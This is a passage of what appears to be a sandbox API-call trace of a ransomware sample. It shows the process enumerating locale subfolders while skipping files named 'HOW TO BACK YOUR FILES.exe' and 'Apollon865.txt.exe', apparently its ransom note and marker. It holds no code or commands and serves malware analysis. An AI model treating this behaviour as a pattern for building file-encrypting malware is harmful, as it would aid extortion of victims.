	[0047.849] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0047.849] lstrcmpiW (lpString1="bg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.849] lstrcmpiW (lpString1="bg", lpString2="Apollon865.txt.exe") returned 1
	[0047.849] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="bg" | out: lpString1="bg") returned="bg"
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5afb80
	[0047.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0047.849] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0047.849] lstrcmpiW (lpString1="ca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.849] lstrcmpiW (lpString1="ca", lpString2="Apollon865.txt.exe") returned 1
	[0047.849] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ca" | out: lpString1="ca") returned="ca"
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x59a340
	[0047.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0047.849] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0047.849] lstrcmpiW (lpString1="cs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.849] lstrcmpiW (lpString1="cs", lpString2="Apollon865.txt.exe") returned 1
	[0047.849] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cs" | out: lpString1="cs") returned="cs"
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x59a460
	[0047.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0047.850] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0047.850] lstrcmpiW (lpString1="da", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="da", lpString2="Apollon865.txt.exe") returned 1
	[0047.850] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="da" | out: lpString1="da") returned="da"
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a93c0
	[0047.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0047.850] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0047.850] lstrcmpiW (lpString1="de", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="de", lpString2="Apollon865.txt.exe") returned 1
	[0047.850] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="de" | out: lpString1="de") returned="de"
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a94e0
	[0047.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0047.850] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0047.850] lstrcmpiW (lpString1="el", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="el", lpString2="Apollon865.txt.exe") returned 1
	[0047.850] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="el" | out: lpString1="el") returned="el"
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9600
	[0047.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0047.850] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0047.850] lstrcmpiW (lpString1="en", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="en", lpString2="Apollon865.txt.exe") returned 1
	[0047.850] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="en" | out: lpString1="en") returned="en"
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0047.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9720
	[0047.850] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0047.851] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0047.851] lstrcmpiW (lpString1="es", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.851] lstrcmpiW (lpString1="es", lpString2="Apollon865.txt.exe") returned 1
	[0047.851] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="es" | out: lpString1="es") returned="es"
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9840
	[0047.851] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0047.851] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0047.851] lstrcmpiW (lpString1="fi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.851] lstrcmpiW (lpString1="fi", lpString2="Apollon865.txt.exe") returned 1
	[0047.851] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fi" | out: lpString1="fi") returned="fi"
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9960
	[0047.851] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0047.851] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
	[0047.851] lstrcmpiW (lpString1="fil", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.851] lstrcmpiW (lpString1="fil", lpString2="Apollon865.txt.exe") returned 1
	[0047.851] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fil" | out: lpString1="fil") returned="fil"
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x116) returned 0x5a9a80
	[0047.851] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0047.851] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0047.851] lstrcmpiW (lpString1="fr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.851] lstrcmpiW (lpString1="fr", lpString2="Apollon865.txt.exe") returned 1
	[0047.851] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fr" | out: lpString1="fr") returned="fr"
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0047.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9ba0
	[0047.851] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0047.851] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0047.851] lstrcmpiW (lpString1="hi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.851] lstrcmpiW (lpString1="hi", lpString2="Apollon865.txt.exe") returned 1
	[0047.852] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hi" | out: lpString1="hi") returned="hi"
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9cc0
	[0047.852] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0047.852] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34962bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34962bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.852] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.852] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0047.852] lstrcmpiW (lpString1="hr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.852] lstrcmpiW (lpString1="hr", lpString2="Apollon865.txt.exe") returned 1
	[0047.852] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hr" | out: lpString1="hr") returned="hr"
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9de0
	[0047.852] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0047.852] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0047.852] lstrcmpiW (lpString1="hu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.852] lstrcmpiW (lpString1="hu", lpString2="Apollon865.txt.exe") returned 1
	[0047.852] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hu" | out: lpString1="hu") returned="hu"
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff08
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5a9f00
	[0047.852] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff10 | out: ListHead=0x5b76b0, ListEntry=0x59ff10) returned 0x59fef0
	[0047.852] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0047.852] lstrcmpiW (lpString1="id", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.852] lstrcmpiW (lpString1="id", lpString2="Apollon865.txt.exe") returned 1
	[0047.852] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="id" | out: lpString1="id") returned="id"
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff28
	[0047.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5aa020
	[0047.852] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff30 | out: ListHead=0x5b76b0, ListEntry=0x59ff30) returned 0x59ff10
	[0047.852] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0047.852] lstrcmpiW (lpString1="it", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.852] lstrcmpiW (lpString1="it", lpString2="Apollon865.txt.exe") returned 1
	[0047.852] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="it" | out: lpString1="it") returned="it"
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff48
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5aa140
	[0047.853] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff50 | out: ListHead=0x5b76b0, ListEntry=0x59ff50) returned 0x59ff30
	[0047.853] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0047.853] lstrcmpiW (lpString1="ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.853] lstrcmpiW (lpString1="ja", lpString2="Apollon865.txt.exe") returned 1
	[0047.853] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ja" | out: lpString1="ja") returned="ja"
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff68
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5ba858
	[0047.853] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff70 | out: ListHead=0x5b76b0, ListEntry=0x59ff70) returned 0x59ff50
	[0047.853] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0047.853] lstrcmpiW (lpString1="ko", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.853] lstrcmpiW (lpString1="ko", lpString2="Apollon865.txt.exe") returned 1
	[0047.853] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ko" | out: lpString1="ko") returned="ko"
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff88
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5ba980
	[0047.853] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff90 | out: ListHead=0x5b76b0, ListEntry=0x59ff90) returned 0x59ff70
	[0047.853] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0047.853] lstrcmpiW (lpString1="lt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.853] lstrcmpiW (lpString1="lt", lpString2="Apollon865.txt.exe") returned 1
	[0047.853] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="lt" | out: lpString1="lt") returned="lt"
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffa8
	[0047.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5baaa8
	[0047.853] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffb0 | out: ListHead=0x5b76b0, ListEntry=0x59ffb0) returned 0x59ff90
	[0047.853] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0047.853] lstrcmpiW (lpString1="lv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.853] lstrcmpiW (lpString1="lv", lpString2="Apollon865.txt.exe") returned 1
	[0047.853] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="lv" | out: lpString1="lv") returned="lv"
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffc8
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5babd0
	[0047.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffd0 | out: ListHead=0x5b76b0, ListEntry=0x59ffd0) returned 0x59ffb0
	[0047.854] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0047.854] lstrcmpiW (lpString1="nl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.854] lstrcmpiW (lpString1="nl", lpString2="Apollon865.txt.exe") returned 1
	[0047.854] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="nl" | out: lpString1="nl") returned="nl"
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffe8
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bacf8
	[0047.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fff0 | out: ListHead=0x5b76b0, ListEntry=0x59fff0) returned 0x59ffd0
	[0047.854] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0047.854] lstrcmpiW (lpString1="no", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
